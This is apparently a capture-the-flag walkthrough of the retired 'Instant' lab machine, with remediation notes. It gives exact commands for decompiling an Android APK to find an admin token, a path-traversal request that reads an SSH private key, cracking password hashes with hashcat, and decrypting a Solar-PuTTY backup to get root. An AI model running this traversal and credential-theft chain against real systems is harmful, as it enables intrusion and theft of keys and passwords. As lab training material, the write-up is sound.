Instant
Summary
I downloaded and reverse-engineered the target's Android wallet app, recovering a hardcoded admin API token and hidden internal hostnames. That token unlocked an admin log-viewer endpoint with no path validation, which was abused to read the SSH private key straight off the server's filesystem, giving a foothold as the developer account 'shirohige' and the user flag.
Cracking that hash unlocked the PuTTY vault, exposing root's password and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
Exact commands 4
echo "$TARGET instant.htb" | sudo tee -a /etc/hostsnmap -sC -sV -p- $TARGETcurl -sS http://instant.htb/instant.apk -o instant.apkapktool d -o instant-apktool instant.apk && grep -RInE 'mywalletv1|swagger-ui|Bearer|eyJ[A-Za-z0-9_-]+\.|AdminActivities|/api/v1/admin|read/log' instant-apktoolFixNever ship long-lived privileged tokens inside a distributed mobile appCritical
Exact commands 3
echo "$TARGET swagger-ui.instant.htb mywalletv1.instant.htb" | sudo tee -a /etc/hostscurl --resolve swagger-ui.instant.htb:80:$TARGET -fsS http://swagger-ui.instant.htb/apispec_1.json -o apispec.jsonjq -r '.paths | to_entries[] | .key as $p | .value | to_entries[] | [$p,.key,((.value.parameters // [])|map(.name+":"+(.in//""))|join(","))] | @tsv' apispec.jsonExact commands 2
curl --resolve mywalletv1.instant.htb:80:$TARGET -sS -H 'Authorization: Bearer <admin-jwt-from-apk>' --get --data-urlencode 'log_file_name=../.ssh/id_rsa' http://mywalletv1.instant.htb/api/v1/admin/read/log -o id_rsa.jsonjq -r 'to_entries[] | select(.key|contains("id_rsa")) | .value | join("")' id_rsa.json > shirohige_id_rsa && chmod 600 shirohige_id_rsaFixValidate and sandbox filenames on the admin log-read endpointCritical
Exact commands 2
ssh -i shirohige_id_rsa shirohige@$TARGET idssh -i shirohige_id_rsa shirohige@$TARGET cat /home/shirohige/user.txtExact commands 2
ssh -i shirohige_id_rsa shirohige@$TARGET find /opt/backups/Solar-PuTTY -maxdepth 3 -type f -printf '%M %u %g %s %p\n'scp -i shirohige_id_rsa shirohige@$TARGET:/opt/backups/Solar-PuTTY/sessions-backup.dat .FixRestrict permissions on credential-manager backups and avoid storing them unprotectedHigh
Exact commands 3
ssh -i shirohige_id_rsa shirohige@$TARGET 'sqlite3 /home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db "select username,password from user;"'hashcat -m 10900 -a 0 werkzeug_hashes.txt /usr/share/wordlists/rockyou.txtpython3 SolarPuttyDecrypt.py -f sessions-backup.dat -p '<cracked-password>'FixEliminate weak/reused passwords and password-based root loginCritical
Exact commands 4
ssh -tt -i shirohige_id_rsa shirohige@$TARGETsu -idcat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.58 |